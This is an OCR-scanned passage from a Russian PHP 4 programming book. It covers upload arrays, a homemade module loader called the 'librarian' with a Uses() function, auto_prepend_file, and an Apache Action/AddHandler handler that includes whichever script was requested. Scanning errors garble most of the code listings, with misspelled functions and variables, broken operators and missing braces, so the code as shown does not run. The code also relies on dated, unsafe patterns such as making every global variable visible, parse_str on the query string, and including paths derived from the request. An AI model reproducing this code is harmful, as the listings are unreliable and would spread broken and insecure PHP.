<input type=submit name=Go value="OTnpaBHTb файлы">

</form>

После того как программа script.php примет данные из формы, РНР соз-
даст для нее следующие переменные:
П ассоциативный массив $Fiie , ключи которого — text , bin и pic , а соот-
ветствующие значения — имена временных файлов на сервере, создан-
ных РНР при загрузке;
П массив $Fiie_name все с теми же ключами и значениями — именами
файлов в системе пользователя;
П массив $Fiie_type с теми же ключами и значениями — типами соответ-
ствующих файлов;
П массив $Fiie_size со значениями — размерами этих файлов.

Мы видим, информация об индексах в именах полей формы попала в клю-
чи соответствующих массивов и сохранилась в них . Вы можете убедиться в
том, что переменные действительно инициализированы , воспользовавшись
вызовом функции Dump($GLOBALS) , код которой приведен в конце главы /7,
и в полезности которой вы теперь можете убедиться на примере.

----------------------- Page 411-----------------------
396 Часть V. Приемы программирования наРНР

Внимание

Еще раз напоминаю, что РНР версии 3 неправильно работает с подобными
именами полей. Учитывайте это, если собираетесь использовать старый ин-
терпретатор.

Проблемы со сложными именами

Но не все так восхитительно, как может показаться на первый взгляд. Беда в
том . что описанны й механизм работает замечательно , лишь когда мы задей-
ствуем элементы одномерных массивов в качестве имен полей формы. В слу-
чае же многомерных массивов дела обстоят несколько хуже. Правда, много-
мерные массивы используются при закачке значительно реже, но все равно,
мой долг — предупредить вас и уберечь от возможного недоразумения.

Итак, напишем форму:

<form action="script.php " method=POST enctype=multipart/form-data>

<input type=file name="File [a] [b] ">

<input type=submit>

</form>

При приеме данных такой формы РНР "запутается" и, хотя и создаст массив
$Fiie, но не поместит в него никаких полезных данных . А именно , в моей
версии 4.0. ЗрП в элемент с ключом а вместо имени файла попадает какое-то
комплексное (судя по его странному виду) число.) Надеюсь, в будущих вер-
сиях интерпретатора это досадное недоразумение будет исправлено.

Но все же существует метод, с помощью которого мы сможем обработать и
такие "неправильные" с точки зрения РНР формы. Я об этом еще не упоми -
нал, но РНР, помимо установки вышеперечисленных переменных , создает
также глобальный массив с именем $HTTP_POST_FILES . Как показывает
практика, в этом массиве содержатся верные данные, какое бы имя не име-
ло поле закачки в форме.

( Замечание i

Массив $HTTP_POST_FILES создается не всегда, а только в том случае, если в
настройках РНР задействован параметр track_vars . Так как, судя по доку-
ментации, в РНР версии 4 он включен всегда (чего нельзя сказать о третьей
версии), то беспокоиться не о чем.

Массив $HTTP_POST_FILE S используется довольно редко, так что я предос-
тавляю читателю возможность самостоятельно разобраться, в каком формате
хранятся в нем данные. Это несложно. Вам не потребуется ничего, кроме
функции Dump ( ) , которая уже упоминалась в этой главе, и, конечно, жела-
ния экспериментировать .

----------------------- Page 412-----------------------
Глава 29

Модульность программы.
Написание"библиотекаря"

Во всех серьезных языках программирования имеется возможность писать
модульные программы. Иными словами, при определенных навыках вы мо-
жете разбить свою программу на относительно независимые части, каждую
из которых реализовать в виде модуля. Особенно это бывает полезно, если
над программой работает сразу коллектив разработчиков (как чаще всего и
бывает) — в этом случае остается лишь продумать связи между модулями,
написание которых можно поручить разным программистам .

Модули обычно также используют другие модули в своей работе, те — тре-
тьи, и т. д., до самого низкого уровня. Хорошо написанный модуль подобен
новому автомобилю: его интерфейсные функции — это аналог руля и пе-
даль, а уж что там под капотом — программиста, подключающего модуль,
волновать не должно.

Тем не менее, должен вас огорчить: к сожалению, разработчики РНР не
предусмотрели в языке сколько-нибудь удобной поддержки модульности.
Однако не впадайте в уныние : дело в том, что такую поддержку можно в
язык добавить, причем относительно несложными приемами самого РНР и
сравнительно небольшими затратами с точки зрения быстродействия. Этим
мы и займемся в настоящей главе.

Наши требования

Возможно, вы возразите: "Как же нет никакой поддержки модульности?
А инструкция include?" Да, разумеется, уж лучше использовать include ,
вместо того чтобы хранить всю программу в одном-единственном файле. Но
дело в том, что применение этой инструкции довольно-таки неудобно по той
простой причине, что поиск подключаемых файлов проводится только в тех
каталогах, которые указал администратор при установке РНР. У многих хос-
тинг-провайдеров мы не можем изменять по своему усмотрению эти катало-
ги, а указание относительных путей (например , . . / . ./php/somef ile.php)
оказывается довольно проблематичным (представьте только, сколько всего
нам придется изменять, если мы захотим расположить нашу программу в
другом месте).

----------------------- Page 413-----------------------
398 Часть V. Приемы программирования на РНР

^ Примечание

Возможно, этот разговор о каталогах выглядит с первого взгляда несколько на-
думанно, однако люди, уже столкнувшиеся когда-либо с рассматриваемой про-
блемой, по достоинству оценят затраченные усилия, особенно если их сцена-
рии состоят из десятков файлов и библиотек.

Помните, что при помощи include или require нельзя один и тот же файл
загружать дважды (как это часто бывает, если один модуль вызывает другой,
но программа об этом "не знает" и еще раз подключает первый — опять же,
стандартный случай). В самом деле, если в этом файле находится, к приме-
ру, описание какой-нибудь функции , то при следующем его включении
РНР выдаст ошибку: повторное объявление функции. Конечно, последняя
проблема полностью решается подстановкой inciude__once вместо include ,
что работает, кстати, только в РНР версии 4.
Отсюда мы можем сформулировать главные два требования.
П Механизм загрузки модуля должен сам решать, в каком каталоге распо-
лагается модуль, независимо от того, где выполняется сценарий. В любой
программе возможность загрузить указанный по имени модуль должна
быть легко осуществима. Мы хотели бы, чтобы это было так же просто,
как мы делаем это с обычными файлами из текущего каталога при по-
мощи include .

П Один и тот же модуль не должен загружаться дважды, даже если про-
грамма попытается это выполнить.

^ Примечание

К слову сказать, оба требования реализованы, например, в языке Perl.

Как я уже говорил, мы можем написать нужную нам "инструкцию", которая
будет загружать модуль с применением указанных принципов прямо на
РНР. Назовем ее uses ( ) и оформим в виде функции .

^ Примечание

Далее для краткости модулем на РНР я буду называть файл (например, с рас-
ширением phi), содержащий некоторые общеупотребительные функции, кон-
станты и переменные, а также исполняемую часть, которая запускается при
первой (и только первой) загрузке модуля.

Библиотекарь

Ту часть кода, которая будет содержать функцию uses ( ) (а мы реализуем ее
именно в виде функции) и другие функции, нужные для загрузки модулей,
назовем библиотекарем. Этот библиотекарь, очевидно, сценарию придется
загружать первым, а каким именно образом, мы поговорим чуть позже.

----------------------- Page 414-----------------------
Глава 29. Модульность программы. Написание "библиотекаря" 399

Теперь немного о том, как мы будем реализовывать uses ( ) . Это довольно
несложно. Помните, я подчеркивал, что поскольку РНР является интерпре-
татором, то на нем осуществимы такие приемы, как описание функций
внутри функций и многое другое. Так мы и сделаем: функция uses ( } внача-
ле будет проверять, не загружался ли уже модуль с таким именем, затем ис-
кать затребованный модуль в специальных "каталогах для модулей", фикси-
ровать во внутреннем массиве факт, что указанный файл загружен, и,
наконец, вызывать inciude_once для файла с модулем. Кроме того, на вре-
мя загрузки текущий каталог будет сменяться на тот, в котором находится
модуль, чтобы стартовые части всех модулей запускались в "своих" катало-
гах. Это как раз та возможность, которая отсутствует в Perl, и которая ока-
зывается довольно удобной на практике.

Раз библиотекарь всегда подключается к программе в первую очередь, ра-
зумно доверить ему выполнение еще некоторых действий.

П Поместим в файл библиотекаря функции, чаще всего необходимые почти
каждому сценарию. Таким образом, мы как бы "расширим" набор встроен-
ных в РНР функций. Однако помните, что встроенные функции переопре-
делять все же нельзя, можно лишь создавать новые с уникальными именами.

П Библиотекарь, как никто другой, должен приложить максимум усилий ,
чтобы сделать сценарии переносимыми с одной платформы на другую.
Для нас это будет заключаться в корректировке некоторых переменных ,
которые РНР создает перед выполнением программы. Первым кандида-
том на такую правку будет $SCRIPT_NAME (а также одноименная перемен-
ная окружения), которая, как мы знаем, в Windows-версии РНР содержит
не то значение, которое мы ожидаем.

П И еще нам хочется, чтобы на момент загрузки модуля текущий каталог
сменялся на тот, в котором расположен файл модуля. Таким образом,
стартовая часть библиотеки всегда сможет определить, где она находит-
ся, — например, при помощи вызова getcwd ( ) .

Вот что у нас получится в результате:

! Листинг 29.1. Библиотекарь: librarian.phi

<?if(!defined("LIBRARIAN_LOADED")) {

define("LIBRARIAN_LOADED", I);

// Расширение библиотечных файлов по умолчанию

define("LibExt","phi");

// Пути поиска библиотек . Если начинаются с точки , то поиск ВСЕГДА
// ведется относительно текущей директории , даже если ее сменят ,

----------------------- Page 415-----------------------
400 _ Часть V . Приемы программирования на РНР

//в противном случае при следующем вызова Uses О будет выполнен
// перевод пути в абсолютный .
S INC []=".", •
$ INCH =". /lib";

// "Склеивает" полный путь из компонент $dir и $fname , правильно
// обрабатывая лишние слэши (например, в конце $dir или в
// начале $fname) .
function glue_path ($dir, $fname)
{ $dir=strtr(trim($dir) ,"\\","/") ;
$name=strtr (trim(Sfname) , "\\", "/") ;
if (@$fname[0] =='//') return $f name ;
if (@$dir[strlen($dir)-l] =='/') return $dir.$fname;
return "$dir/$fname";

I / Функция преобразует указанный относительный путь в абсолютный .
// Если путь уже является абсолютным (то есть , отсчитывается от
// корневого каталога системы) , то с ним ничего не происходит , в
// противном случае используется имя текущей директории (или
// заданной в $cur) с необходимыми преобразованиями . Существование
/ / файла с полученным полным именем не проверяется . Функция лишена
// некоторых недостатков встроенной в РНР realpath ( ) и имеет по
// сравнению с ней несколько большие возможности , работая , правда ,
// чуть медленнее .
function GetAbsPath ($name, $cur="") { return abs_path ($name, $cur) ; }
function abs_path($name , $cur="")
{ // Очищаем путь от лишних символов и обратных слэшей
$name=strtr (trim($name) , "\\", "/") ;
// Сначала разбиваем путь по знакам "/"
$Parts=explode ("/" , $name) ;
$Path=($cur===""?getcwd() :$cur) ; // начальная директория поиска
foreach($Parts as $i=>$s) if($s!=".") {
// Признак корневой директории?
if(!$i && (strlen($s)>l&&$s[l]==":" | l$s=="")) $Path=$s;
// Ссылка на родительский каталог?
else if ($s==". .") {
// Если это уже корневой каталог , то куда спускаться?. .
if (strlen($Path)>l && $Path [1]==" : " &&
strlen($Path)<=3 | | $Path=="/" | | $Path=="\\") continue ;
// Иначе используем dirname( )

----------------------- Page 416-----------------------
Глава 29. Модульность программы. Написание "библиотекаря" _ 401

$p=dirname ($Path) ;
if ($p=="/"l l$p=="\\"l |$p==".") $Path=""; else $Path=$p;
}
// Иначе просто имя очередного каталога
else if($s!=="") $Path=glue_path ($Path, $s) ;
}
return ($Path!==""?$Path : "/") ;

// Преобразует URL в абсолютный файловый путь ,
// То есть , если он начинается со слэша , то результат
// рассматривается относительно директории DOCUMENT_ROOT , а если
// нет - то относительно dirname ($SCRIPT_NAME) .
// Конечно , функция не безупречна (например , она не умеет
// обрабатывать URL , заданные Alias-директивами Apache , но в
// большинстве случаев это и не нужно .
function Url2Path ($name)
{ $curUrl=dirname ($GLOBALS [ "SCRIPT_NAME"] ) ;
$url=abs_path (trim($name) ,$curUrl) ;
return getenv ("DOCUMENT_ROOT") . $url;

// Превращает все пути в списке $INC в абсолютные , однако делает это
//не каждый раз , а только если масив изменился с момента последнего
// вызова .
function AbsolutizelNCO
{ global $INC ;
static $PrevINC=""; // значение $INC при предыдущем входе
// Сначала проверяем - изменился ли $INC . Если изменился , то
// переводим все пути в массиве в относительные , иначе ничего не
// делаем . Мы делаем это только из соображений улучшения
// производительности функции .
if ($PrevINC!==$INC) {
for($i=0; $i<count ($INC) ; $i++) {
$v=&$INC[$i];
if ($v[0]=="." &&
(strlen($v)==l || $v[l]=='\\ ' I I $v[l]=='/')) continue ;
$v=abs_path($v) ;
}
// Запоминаем текущее состояние массива
$PrevINC=$INC;

----------------------- Page 417-----------------------
402 _ Часть V. Приемы программирования на РНР

II Загружает указанную библиотеку функций . Для поиска файла

// просматривает директории в массиве $INC .

function Uses ($libname)

{ global $INC ;
static $PrevINC=""; // значение $INC при предыдущем входе

static $LastFound=0; // для ускорения работы
// Переводим все пути в $INC в относительные - вдруг
// вызывающая программа добавила что-нибудь в массив? . .

AbsolutizelNCO ;
// Теперь просматриваем пути , начиная с того , по которому

// была найдена какая-нибудь предыдущая загруженная библиотека .

// Скорее всего , там будет загружаемый сейчас модуль . Если нет -

// что же , просмотрим весь список . . .

$l=$LastFound;

do {
//В очередной директории есть файл модуля? . .
$dir=$INC[$LastFound] ;

if (@is_file($file="$dir/$libname.".LibExt) ) {
// Сменить директорию на ту , в которой расположен модуль

$cwd=getcwd() ;
chdir (dirname ($file) ) ;

// Делаем доступными для модуля все глобальные переменные .

foreach($GLOBALS as $k=>$v) global $$k ;

// Включаем файл .

$ret=include__once ($file) ;
// Пока не сменили директорию назад , перевести добавленные
// (возможно?) пути в $INC в абсолютные

AbsolutizelNCO ;
// Вернуться

chdir ($cwd) ;

return $ret ;
}

$LastFound=($LastFound+l) %count ($INC) ;

} while ($LastFound!=$l) ;
// Ничего не вышло - "умираем".. .

die ("Couldn't find library \"$libname\" at ".join(", ", $INC ) ."!");

// Корректируем некоторые переменные окружения , которые могут иметь
// неверные значение , если РНР установлен не как модуль Apache .
@putenv ( "SCRIPT_NAME= " .

$GLOBALS [ "HTTP_ENV__VARS " ] [ "SCRIPT_NAME " ] =

$GLOBALS [ "SCRIPT NAME " ] =

----------------------- Page 418-----------------------
Глава 29. Модульность программы. Написание "библиотекаря" 403

ereg_Replace("\\?.*","",getenv("QUERY_STRING"))
);
@putenv("SCRIPT_FILENAME".
$GLOBALS["HTTP__ENV_VARS"]["SCRIPT_FILENAME"]=
$GLOBALS["SCRIPT_FILENAME"]=
Url2Path(getenv("SCRIPT_NAME"))

//На всякий случай включаем максимальный контроль ошибок
Error_reporting ( 1+2+4+8) ;

// ВНИМАНИЕ ! После следующего закрывающего тэга
//не должно быть НИКАКИХ ПРОБЕЛОВ ! В противном случае
// сценарий , подключающий библиотекаря , будет выводить в самом
// начале своей работы этот пробел , что недопустимо при
// работе с Cookies .

Обратите внимание на то, что весь код библиотекаря помещен в блок опе-
ратора if . Это сделано специально, чтобы при возможной (ошибочной) по-
вторной загрузке библиотекаря по include все работало корректно.

( Замечание ^

Возможно, вы скажете, что то же самое можно было бы сделать и в модулях, и
обойтись вообще без библиотекаря. Однако это приведет к заметной потере про-
изводительности, потому что интерпретатору каждый раз придется загружать и
разбирать весь файл модуля, а это — основное время при запуске программы.

Пожалуй, в приведенном коде есть и еще одно интересное место. Я имею в
виду инструкции, помеченные комментарием: "Делаем доступными для мо-
дуля все глобальные переменные". Зачем это нужно? Разве глобальные пе-
ременные по определению не доступны подключаемому модулю? К сожале-
нию, это так, и вот почему. Мы вызываем inciude_once в теле функции
uses о, а не в глобальном контексте. Неудивительно, что подключенный
файл работает не в нем, а в области видимости тела функции . Указанный
цикл перебора всех глобальных переменных и их "глобализация" с помощью
global решает проблему.

Замечание

Здесь есть еще одна тонкость. Если модуль "захочет" определить какую-либо
новую глобальную переменную, он не сможет сделать это никак иначе, чем че-
рез массив $GLOBALS. Однако изменять имеющиеся переменные напрямую он
все же способен.

14 За к. 699

----------------------- Page 419-----------------------
404 Часть V. Приемы программирования на РНР

Работа с библиотекарем

Рассмотрим пример сценария, использующего библиотекарь в своей работе.
Мы будем предполагать, что все модули размещены в подкаталоге /lib ос-
новного каталога с Web-документами (если вы заметили, такой каталог уже
есть в путях поиска модулей по умолчанию, "зашитых" в библиотекаре).

( Замечание ^

Пока мы будем подключать библиотекаря явно — инструкцией include. Ко-
нечно, это не очень удобно. Очень скоро мы узнаем, как избавиться от указан-
ного недостатка.

Пусть сценарию требуется библиотека files . phi , которую мы написали
(или где-то достали, хотя модули для РНР все еще большая редкость), и ко-
торая содержит некоторые функции для работы с файлами.

Примечание

Кстати, модулю files. phi самому могут понадобиться некоторые модули. Ес-
ли это так, нет проблем: достаточно лишь поставить вызов Uses ( ) внутрь кода
библиотеки.

I Листинг 29.2. Тестовый сценарий

<?
include "$DOCUMENT_ROOT/lib/librarian.phl" ; // подключаем библиотекарь

Uses ("files") ; // подключаем модуль files . phi

// Все — теперь можно использовать модуль

$Content=ReadAllFile ("myfile.txt") ; // читаем весь файл myfile.txt

$Hash=ReadKeyValFile ("keyval.txt") ; // читаем файл формата key=value

// .. . и другие функции , которые , возможно , присутствуют в модуле

Как видите, ничего сложного. Давайте теперь посмотрим, как выглядит мо-
дуль files . phi .

I Листинг 29.3. Пример модуля files. phi

// Внимание ! Так указывается дополнительный каталог для поиска модулей .

// Запись означает , что библиотекарь должен искать модули также и в

// подкаталоге OtherModules/dk текущего каталога

$INC [ ] ="OtherModules/dk " ;

----------------------- Page 420-----------------------
Глава 29. Модульность программы. Написание "библиотекаря" 405

II Подключение каких-то других модулей , в которых нуждается files . phi

Uses ("SomeOtherModule") ;

Uses ("AndOtherModuleToo") ;

// Константа : символы перевода строки

define ( "CRLF" , getenv ( "COMSPEC " } ?"\r\n" : "\n" ) ;

// Читает все содержимое файла $fname и возвращает его

function ReadAllFile i$fname)

( $f=fopen(Sfname , "r") ; if(!Sf ) return "";

$Cont=f read($f , lOOOOOO j ; f close ($f } ;

return $Cont ;

// Читает файл $fname , строки которого имеют формат

// ключ1=значение !

// Возвращает ассоциативный массив с указанными в файле ключами

function ReadKeyValFile ($fname)

( $Cont=@File($fname ) ; if ( !@is_array ($Cont) } return array ();

$Hash=array f ) ;

foreach($Cont as $i=>$st) {

л л
if ( !егед(" ( [ =] +) = (.*) ",$st,$regs) ) continue ;

$Hash[trim($regs[l] ) ] =trim($regs [2] ) ;

}

return $Hash ;

Автоматическое подключение
библиотекаря

Из листинга 29.2 можно видеть, что пока нам не удалось полностью изба-
виться от указания абсолютного пути к библиотекам. Вот строка, которая
мне не нравится:

include "$DOCUMENT_ROOT/lib/librarian.phl" ; // подключаем библиотекарь

Действуя привычным способом, нам придется вставлять ее в каждый сцена-
рий, который планирует использовать библиотекаря. Этих сценариев может

----------------------- Page 421-----------------------
406 Часть V. Приемы программирования на РНР

быть довольно много, так что если мы вдруг захотим изменить lib на, ска-
жем , . ./libraries , то придется править все программы. По закону Мэрфи
где-нибудь да ошибетесь — обязательно. А значит , такое решение нам , как
дотошным программистам, не подходит. К счастью, существует еще по
крайней мере два способа решить проблему с абсолютными путями , и кото-
рый из них выбрать — зависит от ситуации.

( Замечание

Здесь я хочу оговориться: разумеется, где-то все равно придется задать путь к
библиотекарю, но такое место будет только одно, поэтому в случае нужды его
легко модифицировать.

Способ первый: использование
auto_prepend_ file

Как следует из Приложения 2, РНР опирается при выполнении сценариев на
специальный файл конфигурации под названием php.ini , в котором хра-
нится большинство его настроек, заданных в виде директив. Кроме того,
если РНР установлен как модуль Apache (а именно так обстоит дело у
большинства хостинг-провайдеров), некоторые директивы можно также
включать прямо в файлы .htaccess , управляющие работой сервера. По-
следние могут быть помешены в любой каталог, содержащий сценарии на
РНР. Таким образом, для заданного каталога и всех его подкаталогов ука-
занные настройки всегда будут действовать.

Внимание

Помните, что для помещения директивы РНР с каким-нибудь именем NAME в
файл .htaccess ее нужно назвать php_NAME, а значение отделить от имени
не знаком =, как в php. ini, а пробелом. В противном случае Apache будет со-
общать о неизвестной директиве в файле конфигурации.

Среди обрабатываемых интерпретатором директив есть две особенных. На-
зываются ОНИ auto_prepend_file И auto_append_flie . В первой задается
абсолютный путь к файлу , содержащему код на РНР , который будет автома-
тически выполняться перед запуском любого сценария . Не правда ли , это то,
что нам нужно?

Конечно, вставлять директиву auto_prepend_fiie в глобальный php.ini нет
никакого смысла. Ведь у подавляющего большинства хостинг-провайдеров
одни и те же Apache и РНР обслуживают сразу несколько виртуальных хос-
тов, принадлежащих разным владельцам. А значит, никто не разрешит вам
изменять глобальные настройки интерпретатора . В этом случае модифика-
ция файлов .htaccess оказывается единственно правильным и возможным

----------------------- Page 422-----------------------
Глава 29. Модульность программы. Написание "библиотекаря" _ 407

решением. Правда, для этого нам нужно знать, какой физический каталог
соответствует на нашем сервере корневому для документов. Выяснить это
можно, например, с помощью такого простого сценария:

| Листинг 29.4. Определение физического корневого каталога сервера

echo $DOCUMENT_ROOT;

Пусть, к примеру, у нашего хостинг-провайдера используется каталог
/home/dk/www . Тогда для автоматического подключения библиотекаря ко
всем сценариям на РНР нужно добавить в файл .htaccess примерно такую
строку:

php_value auto_prepend_f ile /home/dk/www/lib/librarian . phi

Примечание

Вообще говоря, лучше всего сделать это в файле .htaccess , который нахо-
дится в корневом каталоге сервера, для того чтобы подключение библиотекаря
происходило ко всем сценариям во всех каталогах. Если этого файла не суще-
ствует, необходимо его создать.

Как уже упоминалось, данный способ не подходит для того виртуального
сервера для Windows , установка которого описана в части И настоящей
книги. Изменение php.ini — тоже не очень удачная идея в силу вышеизло-
женных рассуждений. Тут нам на помощь придет второй способ, который
мы сейчас и рассмотрим.

Способ второй: установка обработчика Apache

Установка своего обработчика сопряжена с несколько большими сложностя-
ми, чем использование директив auto_prepend_f ile И auto_append_f ile . Тем
не менее, он позволяет нам получить чуть больший контроль над сервером,
поскольку перекладывает задачу выбора и запуска нужного сценария на плечи
программиста. Это — установка нового обработчика Apache. Тема настолько
важна, что мы, пожалуй, отложим на время нашего библиотекаря (к нему мы
еще обязательно вернемся) и займемся непосредственно обработчиками.

Обработчики Apache

Итак, что же такое обработчик Apache? На самом деле мы постоянно стал-
киваемся с одним из классических примеров обработчика. Да-да, вы уже
догадались: это сам РНР. Если чуть углубиться в теорию , то обработчиком

----------------------- Page 423-----------------------
408 Часть V. Приемы программирования на РНР

называется сценарий (возможно, встроенный в сам сервер, как это происхо-
дит с РНР), который запускается сервером при попытке пользователя от-
крыть ту или иную страницу определенного типа .

Каждый обработчик должен иметь уникальный идентификатор — имя обра-
ботчика, который я для краткости буду называть просто именем. Оно может
состоять только из алфавитно-цифровых символов и знаков подчеркивания .
Заметьте, что это имя — не то же самое, что имя файла сценария , в котором
хранится код обработчика. Имя обработчика и является тем, которое нужно
указывать серверу в директиве AddHandier , когда мы хотим связать опреде-
ленные документы с нашим сценарием.

Но как же сопоставить идентификатор обработчика тому сценарию , кото-
рый содержит его код? У сервера Apache для этого есть специальная дирек-
тива под названием Action . Где задается эта директива? В любом файле
конфигурации Apache. Конечно, удобнее всего это делать в файле
.htaccess, расположенном в корневом каталоге виртуального хоста, чтобы
изменения распространились сразу на весь сервер. Мы уже рассматривали
такую стратегию выше , только теперь все будет чуточку сложнее.

Вот требуемые директивы . Поместим их , как водится, в главный . htaccess -
файл хоста.

# Сначала связываем имя обработчика с конкретным файлом .

I Знак "?" говорит серверу , что исходный URL запроса следует

# передать сценарию методом GET , т . е . через QUERY_STRING .

Action libhandler "/lib/libhandler.php? "

# Теперь уведомляем сервер , документы какого типа мы желаем

t "пропускать " через наш обработчик .

AddHandier libhandler .html .htm

В этом фрагменте есть два тонких места.

П Путь к сценарию обработчика всегда указывается как абсолютный URL
без указания имени хоста и порта. Мы не можем задать здесь ни путь к
файлу, ни даже относительный URL . По той причине, чтобы позволить
одному обработчику "передавать эстафету" другому. В самом деле, ведь
это и происходит в нашем примере: Apache сначала определяет, что до-
кумент нужно "пропустить" через обработчик libhandler , а т. к. он пред-
ставляет собой ни что иное, как сценарий на РНР, то и через интерпре-
татор РНР. В деталях затронутый процесс чуть сложнее, но мы не будем
в него углубляться .

П После UR L сценария в директиве Action следует знак ?. Зачем он? Это
связано с механизмом , который использует Apache для того, чтобы опре-
делить конечный обработчик для того или иного документа. Когда поль-
зователь посылает серверу URL, который, как Apache "знает", подходит

----------------------- Page 424-----------------------
Глава 29. Модульность программы. Написание "библиотекаря" 409

под одну из команд Action , к этому URL слева просто присоединяется
второй параметр директивы , и все начинается сначала — до тех пор, пока
не будет найден последний обработчик. Например, если пользователь
ввел /dir/fiie.htmi , то благодаря директиве Action указанный адрес
преобразуется В /lib/libhandler.php?/dir/flie.html . Это- ' ни ЧТО
иное, как адрес PHP-сценария с параметром, который будет передан
программе, как обычно, через переменную окружения QUERY_STRING .

Теперь сервер знает, что все документы с расширением html и htm нужно
обрабатывать при помощи сценария , расположенного по адресу
/ г ;ь/ ] i b h s n d i e - r .php . Точнее , при каждой попытке открыть страницы с
указанными расширениями Apache будет запускать наш сценарий и в числе
обычных переменных окружения отправлять ему несколько специальных ,
содержащих первичную информацию о запросе, переданном пользователем.
Мы сейчас рассмотрим эти переменные на практике . Если вас интересует
их полный список , попробуйте распечатать массив $GLOBAL S или воспользо-
ваться функцией phpinf о ( ) , вставив ее первой и единственной командой
обработчика libhandler.php .

Внимание

Вы, возможно, спросите, почему же мы не добавили в список расширений, на
которые будет "реагировать" сценарий, еще одно — php? Давайте посмотрим,
что бы произошло, поступи мы так. Предположим, пользователь хочет загру-
зить страницу /a.php . Apache "видит", что расширение у нее— php, и запус-
кает обработчик с именем /lib/libhandler.php. Точнее, он "сваливает" всю
работу на сценарий libhandler.php. Еще точнее — перенаправляет сервер
по адресу /lib/libhandler .php?a.php! И тут же зацикливается, потому что
у этого сценария расширение — также php. Итак, сервер начинает вызывать
сценарий снова и снова, все удлиняя его URL — до тех пор, пока не "поймет":
что-то неверно, и пора аварийно завершаться, о чем и сообщает в файлах
журнала. О том, как решить эту проблему, рассказано в самом конце главы.

Ну вот, у нас уже почти все готово. Осталось только написать сам код обра-
ботчика. Это не так уж и сложно . Но прежде давайте вспомним , зачем мы
вообще связались с. обработчиками. Для автоматической загрузки библиоте-
каря перед выполнением того или иного сценария, помните? Что же, вот
пример (листинг 29.5).

Замечание }

Мы подразумеваем, что обработчик libhandler.php находится в том же са-
мом каталоге, что и библиотекарь с большинством модулей. Это довольно
удобно, поскольку позволяет нам задавать путь к каталогу с модулями лишь в
единственном месте— в директиве Action файла .htaccess , да и то в виде
относительного URL. Оцените, насколько это проще для будущих модификаций
сайта.

----------------------- Page 425-----------------------
410 Часть V. Приемы программирования на РНР

\ Листинг 29.5. Обработчик/lib/libhandler.php с подключением библиотекаря ;

// Прежде всего , устанавливаем свои каталоги поиска модулей .

// Это , по нашей договоренности , — текущий в данный момент каталог .

$INC[]=getcwd();

// Проверяем , не пытается ли пользователь запустить обработчик напрямую ,

// минуя Apache — например , путем набора в браузере адреса

// /lib/libhandler.php . Так как адрес , введенный пользователем ,

// всегда передается в переменной окружения REQUESTMJRI , то нужно

I/ "p -n тревогу" , если переданная строка адреса встречается
l; L

// в имени файла обработчика (причем в любом регистре символов) .

// Мы не забыли отрезать в этой строке часть после ? , потому что

//' она будет мешать при сравнении с именем файла .

// К сожалению , похоже , это единственный переносимый между операционными

// системами способ проверки легальности запуска обработчика .

$FileName=strtr ( FILE ,"\\","/");

$ReqName=ereg_Replace("\\?.*","",strtr(getenv("REQUESTJJRI"),"\\","/"));

if(eregi(quotemeta($ReqName),$FileName)) {

// Выводим сообщение об ошибке

include "libhandler.err" ;

// Записываем в журнал данные о пользователе

$f=fopen("libhandler.log","a+");

fputs($f,date("d.m.Y H:i.s")." $REMOTE_ADDR - Access deniedXn") ;

fclose($f);

// Завершаем работу

exit;

// Все в порядке — корректируем переменные окружения в соответствии

// с запрошенным пользователем адресом .

Sputenv("REQUEST_URI=".

$GLOBALS["HTTP_ENV_VARS"]["REQUESTJJRI"]=

SGLOBALS["REQUESTJJRI"]=

getenv("QUERY_STRING"}

};
Sputenv("QUERY_STRING=".

$GLOBALS["HTTP_ENV_VARS"] ["QUERY_STRING"] =
$GLOBALS["QUERY STRING"]=

----------------------- Page 426-----------------------
Глава 29. Модульность программы. Написание "библиотекаря" 411

л л
ereg_Replace(" [ ?]*\\?","",getenv("QUERY_STRING"))

) ;

parse_str($QUERY_STRING) ;

// Подключаем библиотекарь

include "librarian.phi" ;

// Здесь можно выполнить еще какие-нибудь действия.. .

// . . .

// Запускаем тот сценарий , который был запрошен пользователем

chdir(dirname($SCRIPT_FILENAME));

include $SCRIPT_FILENAME ;

?>

Ну и, конечно, какая же программа обходится без вывода диагностических
сообщений? Наш пример подгружает файл libhandier.er r в случае
"жульничества" пользователя. Наверное, в нем следует написать что-то типа :

<head><title>flocTyn запрещен!</title></head>

<body>
<Ь2>Доступ запрещен!</h2>

Пользователь сделал попытку нелегально вызвать обработчик Apache ,

отвечающий за автоматическое подключение библиотекаря . Так как это

свидетельствует о его желании нелегально проникнуть на сервер ,

попытка была пресечена . Информация о пользователе записана

в файл журнала .

</body>

В результате мы пришли к тому, что теперь все документы с расширениями
html и htm рассматриваются как сценарии на РНР. Они запускаются уже
после того, как подключен библиотекарь, так что могут пользоваться функ-
цией Uses ( ) .

Примечание

Если вы не собираетесь использовать библиотекарь, а хотите применять опи-
санный выше механизм только для того, чтобы включить РНР для файлов с
расширением html, лучше прочитайте конец этой главы. Там описано, как сде-
лать это проще.

Перехват обращений
к несуществующим страницам

Самое интересное, что наш обработчик будет вызываться как для сущест-
вующих файлов с расширением html , так и для несуществующих (правда,
расположенных в существующем каталоге). Какой простор это открывает для
творчества! Например , мы можем написать систему новостей или форум, в

----------------------- Page 427-----------------------
4 12 Часть V. Приемы программирования на РНР

котором у всех сценариев не будет ни одного "видимого" параметра. Все
данные могут передаваться прямо в имени файла, например:

/forum/Computers-Ol-04-Ol.html

Хотя файла computers-oi-04-oi.html нет и в помине, обработчик может
перехватить запрос к нему и определить, что речь идет о новостях в разделе
"Компьютеры" за 1 апреля 2001 года. Затем, получив нужную информацию
из базы данных, остается лишь отправить ее клиенту.

Замечание

Обычно для подобных целей используют специальный модуль Apache —
mod_rewrite. К сожалению, по статистике далеко не все хостинг-провайдеры
соглашаются устанавливать его на свои серверы. В то же время механизм
Action/AddHandler работает всегда и везде, где установлен Apache.

Надо заметить, что в примере из листинга 29.5 мы никак не перехватываем
обращения к несуществующим страницам. Что происходит, если пользова-
тель все же введет неправильный адрес? Очевидно, вызов include , стоящий
в предпоследней строчке, завершится неуспешно, а РНР выведет сообщение
об ошибке. Наверное, в реальной программе нужно как-то обрабатывать эту
ситуацию, -- например, при помощи проверки существования запрошен-
ного файла.

Связывание РНР с другим расширением

Как мы знаем, сам РНР представляет собой обычный обработчик. Значит,
скажете вы, чтобы заставить его обрабатывать документы с расширением,
отличным от РНР, нам нужно просто добавить директиву AddHandier для
этого расширения в соответствующий файл .htaccess ? He совсем. Пробле-
ма заключается в том, что мы не знаем идентификатора обработчика, он
хранится где-то в недрах кода интерпретатора. Вместо этого мы поступим
по-другому: заставим Apache считать, что документы с нужным нам расши-
